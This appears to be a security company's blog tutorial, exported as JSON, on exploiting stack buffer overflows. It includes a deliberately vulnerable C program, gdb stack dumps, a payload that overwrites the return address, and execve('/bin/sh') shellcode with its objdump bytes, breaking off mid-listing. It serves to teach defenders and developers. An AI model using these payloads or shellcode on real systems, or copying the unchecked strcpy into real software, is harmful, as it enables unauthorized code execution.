{"id":6351,"date":"2024-07-15T13:19:01","date_gmt":"2024-07-15T20:19:01","guid":{"rendered":"https:\/\/objectsecurity.com\/?p=6351"},"modified":"2024-11-15T15:02:01","modified_gmt":"2024-11-15T23:02:01","slug":"buffer-overflow","status":"publish","type":"post","link":"https:\/\/objectsecurity.com\/buffer-overflow\/","title":{"rendered":"How can a Stack Buffer Overflow be used to Execute Arbitrary Code?"},"content":{"rendered":"<p><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-1 fusion-flex-container has-pattern-background has-mask-background nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap\" style=\"max-width:1872px;margin-left: calc(-4% \/ 2 );margin-right: calc(-4% \/ 2 );\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-0 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-1\"><p><strong>The article explains Stack-based Buffer Overflow attacks (CWE-121), highlighting their mechanisms, severe consequences, and the lack of protections in embedded devices. It illustrates exploitation through altering return addresses and executing arbitrary code, emphasizing the vulnerability of systems without operating system constraints. The article underscores the importance of detecting and mitigating these vulnerabilities, recommending tools and safer programming practices for developers.<\/strong><\/p>\n<p>This article will explore Stack-based Buffer Overflow attacks (i.e., <a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/121.html\">CWE-121<\/a>): how they work, their consequences, and how they can be prevented. Stack-based Buffer Overflows have been the root cause of numerous CVEs. For example, in <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2021-35395\">CVE-2021-35395<\/a> the Realtek Jungle SDK used for Wi-Fi chipsets in many IoT\/embedded devices, has been exploited in the past to gain arbitrary code execution privileges.<\/p>\n<p>The presence of Stack-based Buffer Overflows is especially concerning in embedded devices. Such devices often do not have operating system or memory segmentation constraints to prevent these attacks from occurring. This article attempts to educate the manufacturers, developers, and users of embedded devices about the technical details and dangers of Stack-based buffer overflows.<\/p>\n<p><strong>What is a Stack Buffer Overflow?<\/strong><\/p>\n<p>In computer programming, the <em>call stack<\/em> (which we will refer to just as the <em>stack<\/em> from here on) is a data structure that stores information about the active subroutines of a computer program. As a program invokes functions\/subroutines, information such as function parameters, return addresses and various other memory pointers are pushed on top of the stack.<\/p>\n<\/div><div class=\"fusion-image-element \" style=\"text-align:center;--awb-margin-bottom:20px;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><span class=\" fusion-imageframe imageframe-none imageframe-1 hover-type-none\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"478\" height=\"645\" title=\"Picture23\" src=\"https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Picture23.png?resize=478%2C645&#038;ssl=1\" alt class=\"img-responsive wp-image-5841\" srcset=\"https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Picture23.png?resize=200%2C270&amp;ssl=1 200w, https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Picture23.png?resize=222%2C300&amp;ssl=1 222w, https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Picture23.png?resize=400%2C540&amp;ssl=1 400w, https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Picture23.png?fit=478%2C645&amp;ssl=1 478w\" sizes=\"(max-width: 1075px) 100vw, (max-width: 640px) 100vw, 478px\" \/><\/span><\/div><div class=\"fusion-text fusion-text-2\"><p>A <em>buffer<\/em> is a continuous segment of memory used to store multiple items of the same type in a computer program. For example, an ordered collection of characters can be stored in a buffer (this is often referred to as a <em>string<\/em>). Buffers have a finite size: they reserve a specific number of bytes within memory.<\/p>\n<p>A <em>buffer overflow<\/em> occurs when the program writes more values to a buffer than the buffer has reserved space for. For example, a character buffer of size 10 can contain 10 bytes (each character being 1 byte) worth of information. If the program writes 11 characters\/bytes worth of information to this buffer, then the buffer will be overflowed and memory outside of the buffer will be overwritten. What this overwritten memory contains is arbitrary: it could be unimportant, or it could affect the program\u2019s behavior significantly when overwritten.<\/p>\n<p>With the concepts of <em>stacks<\/em> and <em>buffer overflows<\/em> in mind, we can begin to understand what a <em>stack-based buffer overflow <\/em>entails. A stack-based buffer overflow occurs when a buffer on the stack is overflowed, overwriting memory related to the active subroutines of a computer program.<\/p>\n<\/div><div class=\"fusion-image-element \" style=\"text-align:center;--awb-margin-bottom:20px;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><span class=\" fusion-imageframe imageframe-none imageframe-2 hover-type-none\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"416\" height=\"606\" title=\"Picture24\" src=\"https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Picture24.png?resize=416%2C606&#038;ssl=1\" alt class=\"img-responsive wp-image-5844\" srcset=\"https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Picture24.png?resize=200%2C291&amp;ssl=1 200w, https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Picture24.png?resize=206%2C300&amp;ssl=1 206w, https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Picture24.png?resize=400%2C583&amp;ssl=1 400w, https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Picture24.png?fit=416%2C606&amp;ssl=1 416w\" sizes=\"(max-width: 1075px) 100vw, (max-width: 640px) 100vw, 416px\" \/><\/span><\/div><div class=\"fusion-text fusion-text-3\"><p>A malicious actor can use a stack-based buffer overflow to overwrite specific items on the call stack with intent, altering a program\u2019s behavior. The next section will illustrate a case wherein a stack-based buffer overflow is used to change the return address of a function call.<\/p>\n<\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-2 fusion-flex-container has-pattern-background has-mask-background nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap\" style=\"max-width:1872px;margin-left: calc(-4% \/ 2 );margin-right: calc(-4% \/ 2 );\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-1 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-4\"><p><strong>Exploiting a Stack Buffer Overflow to Execute a Pre-Defined Function<\/strong><\/p>\n<p>When a function\/subroutine of a computer program finishes execution, the program jumps back to the point where said function\/subroutine was called. This point in the program is called the <em>return address<\/em> and is one of the items pushed onto the call-stack whenever a function is called. Think of the <em>return address<\/em> as the sender\u2019s address when you receive mail. When you want to send mail back to the original sender, you use their return address.<\/p>\n<p>If we craft a particular payload for a program that contains a stack-based buffer overflow, we can overwrite this <em>return address<\/em> to be whatever we wish. The new return address can be another function within the program, any arbitrary location in the program, or it can be an address within the overflowed buffer itself. When the function finishes execution, the program will jump to whatever location we wish it to.<\/p>\n<p>Consider the following vulnerable C program:<\/p>\n<div class=\"hcb_wrap\">\n<div class=\"hcb_wrap\">\n<pre class=\"prism line-numbers lang-c\" data-lang=\"C\"><code><stdio.h><stdio.h><string.h><string.h>void should_not_run() {\r\n\u00a0 \u00a0 printf(\"You called a function that should never run!n\");\r\n}\r\n\r\nvoid dangerous_fn(char* payload) {\r\n\u00a0 \u00a0 \/\/ stack buffer to overflow\r\n\u00a0 \u00a0 char buffer[64];\r\n\u00a0 \u00a0 strcpy(buffer, payload);\r\n}\r\n\r\nvoid main(int argc, char* argv[]) {\r\n\u00a0 \u00a0 printf(\"You entered the payload \"%s\"n\", argv[1]);\r\n\u00a0 \u00a0 dangerous_fn(argv[1]);\r\n}<\/string.h><\/string.h><\/stdio.h><\/stdio.h><\/code><\/pre>\n<p>This program takes a string of characters as input, passes this string to a function (called <em>dangerous_fn<\/em>), which copies the string input to a buffer of size 64 (64 bytes). If the input string is less than 64 bytes, this program has no issues. However, if the input string is greater than 64 bytes, then a stack-based buffer overflow will occur.<\/p>\n<p>This program defines another pre-defined function called <em>should_not_run<\/em>, which <em>prints \u201cYou called a function that should never run!\u201d<\/em> when executed. As the name suggests, the program never executes this function through its normal control flow. However, if we craft a particular payload to exploit the stack-based buffer overflow present in the program, then we can trick the program to call <em>should_not_run<\/em>. This can be done by overriding the return address on the call stack to be the address at the start of <em>should_not_run<\/em>.<\/p>\n<p>First, let\u2019s observe what values are stored on the call stack when the program calls <em>dangerous_fn<\/em>, after our payload has been copied into the <em>buffer<\/em>. To do this, we will use <em>gdb<\/em> (the GNU debugger):<\/p>\n<\/div>\n<\/div>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-2 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-color:#000000;--awb-bg-color-hover:#000000;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\" data-scroll-devices=\"small-visibility,medium-visibility,large-visibility\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-5\" style=\"--awb-font-size:10.5px;--awb-text-color:#ffffff;--awb-margin-left:20px;--awb-text-font-family:Menlo, Consolas, Monaco, &#039;Liberation Mono&#039;, &#039;Lucida Console&#039;, monospace;--awb-text-font-style:normal;--awb-text-font-weight:400;\"><p>$ gdb vulnerable.out<br \/>\n&#8230;<br \/>\n(gdb) b dangerous_fn<br \/>\nBreakpoint 1 at 0x40179f: file vulnerable.c, line 11.<br \/>\n(gdb) r ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo<br \/>\nStarting program: \/home\/trevor\/binary_experiments\/stack_overflow_blog\/vulnerable.out ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo<br \/>\nYou entered the payload &#8220;ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo&#8221;<\/p>\n<p>Breakpoint 1, dangerous_fn (payload=0x7fffffffddc3 &#8216;o&#8217; <repeats 63=\"\" times=\"\">) at vulnerable.c:11<br \/>\nwarning: Source file is more recent than executable.<br \/>\n11 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0strcpy(buffer, payload);<br \/>\n(gdb) n<br \/>\n12 \u00a0 \u00a0 \u00a0}<br \/>\n(gdb) x\/40x $sp<br \/>\n0x7fffffffd840: <repeats 63=\"\" times=\"\">0x0049de48 \u00a0 \u00a0 \u00a00x00000000 \u00a0 \u00a0 \u00a00xffffddc3 \u00a0 \u00a0 \u00a00x00007fff<\/repeats><br \/>\n0x7fffffffd850:\u00a0<span style=\"color: #008000;\"><repeats 63=\"\" times=\"\">0x6f6f6f6f\u00a0 \u00a0 \u00a0 <repeats 63=\"\" times=\"\">0x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f<\/repeats><\/repeats><\/span><br \/>\n0x7fffffffd860:\u00a0<span style=\"color: #008000;\"><repeats 63=\"\" times=\"\">0x6f6f6f6f\u00a0 \u00a0 \u00a0\u00a0<repeats 63=\"\" times=\"\">0x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f<\/repeats><\/repeats><\/span><br \/>\n0x7fffffffd870:\u00a0<span style=\"color: #008000;\"><repeats 63=\"\" times=\"\">0x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f<\/repeats><\/span><br \/>\n0x7fffffffd880:<span style=\"color: #008000;\"><repeats 63=\"\" times=\"\"> 0x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f <\/repeats><\/span>\u00a0 \u00a0 \u00a00x00<span style=\"color: #008000;\"><repeats 63=\"\" times=\"\">6f6f6f<\/repeats><\/span><br \/>\n0x7fffffffd890: 0xffffd8b0 \u00a0 \u00a0 \u00a00x00007fff\u00a0 \u00a0 \u00a0\u00a0<span style=\"color: #ff0000;\"><repeats 63=\"\" times=\"\">0x004017fd \u00a0 \u00a0 \u00a00x00000000<\/repeats><\/span><br \/>\n0x7fffffffd8a0: 0xffffda98 \u00a0 \u00a0 \u00a00x00007fff \u00a0 \u00a0 \u00a00x00000000 \u00a0 \u00a0 \u00a00x00000002<br \/>\n0x7fffffffd8b0: 0x00000001 \u00a0 \u00a0 \u00a00x00000000 \u00a0 \u00a0 \u00a00x00401c2a \u00a0 \u00a0 \u00a00x00000000<br \/>\n0x7fffffffd8c0: 0x00000000 \u00a0 \u00a0 \u00a00x00000020 \u00a0 \u00a0 \u00a00x004017b5 \u00a0 \u00a0 \u00a00x00000000<br \/>\n0x7fffffffd8d0: 0x00000000 \u00a0 \u00a0 \u00a00x00000002 \u00a0 \u00a0 \u00a00xffffda98 \u00a0 \u00a0 \u00a00x00007fff<\/repeats><\/p>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-3 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-6\"><p>We ran the program with a payload of 63 <em>o\u2019s<\/em>. The hexadecimal representation of the letter <em>o<\/em> is <em>0x6f<\/em>. The green section in the output above shows the 63 <em>o\u2019s<\/em> that have been copied into the <em>buffer<\/em>.<\/p>\n<p>The red section is the return address, which is currently set to <em>0x00000000004017fd<\/em>. This is the address the program will jump to once <em>dangerous_fn<\/em> has finished its execution. You can see that this address is 9 bytes about from the end of our buffer. If we pad our input payload with 9 more bytes, and then top it off with the address of <em>should\u00ad_not_run<\/em>, we can trick the program into executing <em>should_not_run<\/em>.<\/p>\n<p>To get the address of <em>should_not_run<\/em>, we will again use <em>gdb<\/em>:<\/p>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-4 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-color:#000000;--awb-bg-color-hover:#000000;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\" data-scroll-devices=\"small-visibility,medium-visibility,large-visibility\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-7\" style=\"--awb-font-size:10.5px;--awb-text-color:#ffffff;--awb-margin-left:20px;--awb-text-font-family:Menlo, Consolas, Monaco, &#039;Liberation Mono&#039;, &#039;Lucida Console&#039;, monospace;--awb-text-font-style:normal;--awb-text-font-weight:400;\"><p>(gdb) info addr should_not_run<br \/>\nSymbol &#8220;should_not_run&#8221; is a function at address 0x401775.<\/p>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-5 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-8\"><p>So, the address we are looking to overwrite the return address with is <em>0x401775<\/em>. We can craft a payload that includes these bytes by using the <em>printf<\/em> command, which can convert hexadecimal codes into characters:<\/p>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-6 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-color:#000000;--awb-bg-color-hover:#000000;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\" data-scroll-devices=\"small-visibility,medium-visibility,large-visibility\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-9\" style=\"--awb-font-size:10.5px;--awb-text-color:#ffffff;--awb-margin-left:20px;--awb-text-font-family:Menlo, Consolas, Monaco, &#039;Liberation Mono&#039;, &#039;Lucida Console&#039;, monospace;--awb-text-font-style:normal;--awb-text-font-weight:400;\"><p>$ .\/vulnerable.out &#8220;oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo$(printf &#8216;x75x17x40&#8217;)&#8221;<br \/>\nYou entered the payload &#8220;oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooou@&#8221;<br \/>\nYou called a function that should never run!<\/p>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-7 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-10\"><p>And just like that, we have exploited a stack-based buffer overflow to cause a program to execute a function that should never run!<\/p>\n<\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-3 fusion-flex-container has-pattern-background has-mask-background nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap\" style=\"max-width:1872px;margin-left: calc(-4% \/ 2 );margin-right: calc(-4% \/ 2 );\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-8 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-11\"><p><strong>Exploiting a Stack Buffer Overflow to Execute Arbitrary Code<\/strong><\/p>\n<p>While this is interesting, running pre-defined functions might not be inherently dangerous, the developer still left the function in the code after all. As alluded to before, stack-based buffer overflows can enable arbitrary code execution and a complete hijacking of a device\u2019s CPU. To do this in our example program, we must craft an input payload that contains the instructions we want to execute, and then overwrite the return address of the <em>dangerous_fn <\/em>call to point back to the start of the overflowed buffer.<\/p>\n<p>Let\u2019s first identify what instructions we wish to run. Ideally, we would like to get a shell into the target device\u2019s system, which would let us execute any command we wish without having to craft a full payload each time. The following bit of C-inline assembly lets us do this (<em>arbitrary_code.c<\/em>):<\/p>\n<div class=\"hcb_wrap\">\n<pre class=\"prism line-numbers lang-c\" data-lang=\"C\"><code><stdio.h><stdlib.h>void main() {\r\n__asm__(\r\n\u00a0 \u00a0 \/\/ --- get values onto stack ---\r\n\r\n\u00a0 \u00a0 \"xor %rdx, %rdx;\"\r\n\u00a0 \u00a0 \"push %rdx;\"\r\n\u00a0 \u00a0 \"movq $0x68732f2f6e69622f, %rax;\" \/\/ push \"\/bin\/\/sh\" onto stack\r\n\u00a0 \u00a0 \"push %rax;\" \/\/ push executable filename onto on stack\r\n\u00a0 \u00a0 \"mov %rsp, %rbx;\" \/\/ %rbx now points to the command on the stack\r\n\r\n\u00a0 \u00a0 \"push %rdx;\"\r\n\u00a0 \u00a0 \"push %rbx;\" \/\/ pointer to a pointer\r\n\r\n\u00a0 \u00a0 \/\/ ---prep registers for execve syscall ---\r\n\r\n\u00a0 \u00a0 \"xor %rdx, %rdx;\" \/\/ clear rbx register\r\n\u00a0 \u00a0 \"movq %rsp, %rsi;\" \/\/ pointer to a pointer to commands\/args\r\n\u00a0 \u00a0 \"movq %rbx, %rdi;\" \/\/ points to filename\r\n \u00a0\r\n\u00a0 \u00a0 \/\/ --- make syscall to execute command with execve ---\r\n\r\n\u00a0 \u00a0 \"xor %rax, %rax;\"\r\n\u00a0 \u00a0 \"add $59, %rax;\"\r\n\u00a0 \u00a0 \"syscall;\"\r\n\r\n\u00a0 \u00a0 \/\/ --- exit the program ---\r\n\r\n\u00a0 \u00a0 \"add $32, %rsp;\" \/\/ restore the stack pointer\r\n\u00a0 \u00a0 \"xor %rdi, %rdi;\" \/\/ exit with code 0 (success)\r\n\u00a0 \u00a0 \"xor %rax, %rax;\"\r\n\u00a0 \u00a0 \"add $60, %rax;\"\r\n\u00a0 \u00a0 \"syscall;\"\r\n);\r\n}<\/stdlib.h><\/stdio.h><\/code><\/pre>\n<p>This code makes a system call (specifically <em>execve<\/em>) to the Linux kernel which requests to run <em>\/bin\/sh<\/em>. This command opens a shell that lets further commands be run. Executing this program on its own illustrates our desired behavior:<\/p>\n<\/div>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-9 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-color:#000000;--awb-bg-color-hover:#000000;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\" data-scroll-devices=\"small-visibility,medium-visibility,large-visibility\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-12\" style=\"--awb-font-size:10.5px;--awb-text-color:#ffffff;--awb-margin-left:20px;--awb-text-font-family:Menlo, Consolas, Monaco, &#039;Liberation Mono&#039;, &#039;Lucida Console&#039;, monospace;--awb-text-font-style:normal;--awb-text-font-weight:400;\"><p>$ .\/arbitrary_code.out<br \/>\n$ echo &#8220;I can run anything!&#8221;<br \/>\nI can run anything!<br \/>\n$<\/p>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-10 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-13\"><p>Using <em>objdump<\/em>, we can see the hexadecimal codes that make up this program:<\/p>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-11 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-color:#000000;--awb-bg-color-hover:#000000;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\" data-scroll-devices=\"small-visibility,medium-visibility,large-visibility\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-14\" style=\"--awb-font-size:10.5px;--awb-text-color:#ffffff;--awb-margin-left:20px;--awb-text-font-family:Menlo, Consolas, Monaco, &#039;Liberation Mono&#039;, &#039;Lucida Console&#039;, monospace;--awb-text-font-style:normal;--awb-text-font-weight:400;\"><p>$ objdump -d arbitrary_code.out | less<br \/>\n&#8230;<br \/>\n40174d: \u00a0 \u00a0 \u00a0 48 31 d2 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0xor \u00a0 \u00a0%rdx,%rdx<br \/>\n401750: \u00a0 \u00a0 \u00a0 52 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0push \u00a0 %rdx<br \/>\n401751: \u00a0 \u00a0 \u00a0 48 b8 2f 62 69 6e 2f \u00a0 \u00a0movabs $0x68732f2f6e69622f,%rax<br \/>\n401758: \u00a0 \u00a0 \u00a0 2f 73 68<br \/>\n40175b: \u00a0 \u00a0 \u00a0 50 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0push \u00a0 %rax<br \/>\n40175c: \u00a0 \u00a0 \u00a0 48 89 e3 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0%rsp,%rbx<br \/>\n40175f: \u00a0 \u00a0 \u00a0 52 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0push \u00a0 %rdx<br \/>\n401760: \u00a0 \u00a0 \u00a0 53 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0push \u00a0 %rbx<br \/>\n401761: \u00a0 \u00a0 \u00a0 48 31 d2 \u00a0 \u00a0 \u00a0 \u00a0 